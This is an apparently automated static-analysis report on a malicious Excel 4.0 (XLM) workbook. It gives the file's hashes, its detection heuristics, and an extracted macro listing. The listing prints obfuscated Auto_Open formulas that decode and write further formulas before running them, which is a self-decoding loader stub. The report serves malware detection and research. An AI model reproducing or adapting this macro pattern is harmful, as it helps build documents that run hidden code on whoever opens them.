Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53930aeadb7383a2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:12 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 46642739001ed48248c5e939210d69d9 SHA-1: 04329c78f5514b87a94b44ab63c2e099d7f07935 SHA-256: 53930aeadb7383a2a48ea93731cc93ecc7b37f0536d03e9ff0d4ee33d35aa1d5
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6480 bytes
SHA-256: 31e3a8839717adfa3eae26c0a62bff7e5e0a74ceb7a16ae7eb60826c1a451076
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'OFvExPtsSQLm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fnaOq
' 0018     27 LABEL : Cell Value, String Constant - aFOWcqzOSojY len=0 
' 0018     23 LABEL : Cell Value, String Constant - APjckBpF len=0 
' 0018     27 LABEL : Cell Value, String Constant - AsQvQZlyXhGz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I143 
' 0018     23 LABEL : Cell Value, String Constant - BIGlFgQA len=0 
' 0018     24 LABEL : Cell Value, String Constant - BSTrjrgiA len=0 
' 0018     26 LABEL : Cell Value, String Constant - DOEtVsCdLWa len=0 
' 0018     22 LABEL : Cell Value, String Constant - FmLiCXm len=0 
' 0018     26 LABEL : Cell Value, String Constant - GxagHZxIRVX len=0 
' 0018     24 LABEL : Cell Value, String Constant - kGDgLaLfE len=0 
' 0018     26 LABEL : Cell Value, String Constant - mrphOURAcJs len=0 
' 0018     24 LABEL : Cell Value, String Constant - NDFGnKBUQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - NxlZdCNwBOuM len=0 
' 0018     27 LABEL : Cell Value, String Constant - OFvExPtsSQLm len=0 
' 0018     21 LABEL : Cell Value, String Constant - qaEDqj len=0 
' 0018     27 LABEL : Cell Value, String Constant - tJiloLDqMGcn len=0 
' 0018     22 LABEL : Cell Value, String Constant - tNJMHhe len=0 
' 0018     26 LABEL : Cell Value, String Constant - udrSSBMBkCq len=0 
' 0018     23 LABEL : Cell Value, String Constant - VIETllzx len=0 
' 0018     24 LABEL : Cell Value, String Constant - xPLBdZQfV len=0 
' 0018     22 LABEL : Cell Value, String Constant - yDHybJl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fnaOq,I44,"SET.NAME("VIETllzx",VALUE("0"))",""
'  fnaOq,I49,"SET.NAME("BSTrjrgiA",VIETllzx)",""
'  fnaOq,I51,"SET.NAME("BIGlFgQA",VIETllzx)",""
'  fnaOq,I53,"SET.NAME("NDFGnKBUQ",COUNTA(OFvExPtsSQLm))",""
'  fnaOq,I55,"SET.NAME("tJiloLDqMGcn",COUNTA(tNJMHhe))",""
'  fnaOq,I60,[],""
'  fnaOq,I64,"SET.NAME("xPLBdZQfV","")",""
'  fnaOq,I68,"BSTrjrgiA",""
'  fnaOq,I71,"SET.NAME("aFOWcqzOSojY",HLOOKUP("*",OFvExPtsSQLm,BSTrjrgiA,FALSE))",""
'  fnaOq,I76,"mrphOURAcJs",""
'  fnaOq,I80,"SET.NAME("qaEDqj",VIETllzx)",""
'  fnaOq,I84,[],""
'  fnaOq,I86,"qaEDqj",""
'  fnaOq,I89,"yDHybJl",""
'  fnaOq,I94,"DOEtVsCdLWa",""
'  fnaOq,I96,"AsQvQZlyXhGz",""
'  fnaOq,I98,"SET.NAME("kGDgLaLfE",VALUE(HLOOKUP("*",tNJMHhe,AsQvQZlyXhGz,FALSE)))",""
'  fnaOq,I103,"udrSSBMBkCq",""
'  fnaOq,I108,"xPLBdZQfV",""
'  fnaOq,I112,"BIGlFgQA",""
'  fnaOq,I117,NEXT(),""
'  fnaOq,I120,"FmLiCXm",""
'  fnaOq,I125,"SET.NAME("f",INT(T(FORMULA(T(xPLBdZQfV)&"",""&T(FmLiCXm)))))",""
'  fnaOq,I130,"GxagHZxIRVX",""
'  fnaOq,I134,NEXT(),""
'  fnaOq,I139,RETURN(),""
'  fnaOq,I168,"SET.NAME("APjckBpF",I44)",""
'  fnaOq,I173,"OFvExPtsSQLm",""
'  fnaOq,I175,"SET.NAME("tNJMHhe",R81C13)",""
'  fnaOq,I177,"SET.NAME("GxagHZxIRVX",187)",""
'  fnaOq,I181,"SET.NAME("NxlZdCNwBOuM",9)",""
'  fnaOq,I186,APjckBpF(),""
'  fnaOq,I187,HALT(),""

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